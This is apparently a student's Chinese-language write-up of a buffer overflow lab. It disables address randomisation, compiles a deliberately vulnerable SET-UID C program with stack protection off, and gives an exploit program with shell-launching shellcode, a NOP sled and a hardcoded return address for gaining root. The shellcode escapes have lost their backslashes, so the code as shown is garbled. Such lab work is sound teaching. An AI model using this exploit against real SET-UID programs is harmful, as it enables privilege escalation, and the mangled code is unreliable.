20165337缓冲区溢出漏洞实验

输入命令安装一些用于编译 32 位 C 程序的软件包:

 sudo apt-get update

 sudo apt-get install -y lib32z1 libc6-dev-i386

 sudo apt-get install -y lib32readline-gplv2-dev

Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

sudo sysctl -w kernel.randomize_va_space=0

用另一个 shell 程序(zsh)代替 /bin/bash:

$ sudo su

$ cd /bin

$ rm sh

$ ln -s zsh sh

$ exit

使用bash

在 /tmp 目录下新建一个 stack.c 文件:

$ cd /tmp
$ vi stack.c

输入如下代码:

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly
");
    return 1;
}

编译该程序,并设置 SET-UID。

$ sudo su

$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

$ chmod u+s stack

$ exit

攻击刚才的漏洞程序,并通过攻击获得 root 权限。在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "x31xc0" //xorl %eax,%eax
    "x50"     //pushl %eax
    "x68""//sh" //pushl $0x68732f2f
    "x68""/bin"     //pushl $0x6e69622f
    "x89xe3" //movl %esp,%ebx
    "x50"     //pushl %eax
    "x53"     //pushl %ebx
    "x89xe1" //movl %esp,%ecx
    "x99"     //cdq
    "xb0x0b" //movb $0x0b,%al
    "xcdx80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

得到 shellcode 在内存中的地址,输入命令:

$ gdb stack

$ disass main

设置断点

现在修改exploit.c文件!将 x??x??x??x?? 修改为 xc4xd0xffxff

先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

原文地址:https://www.cnblogs.com/y963976867/p/9785990.html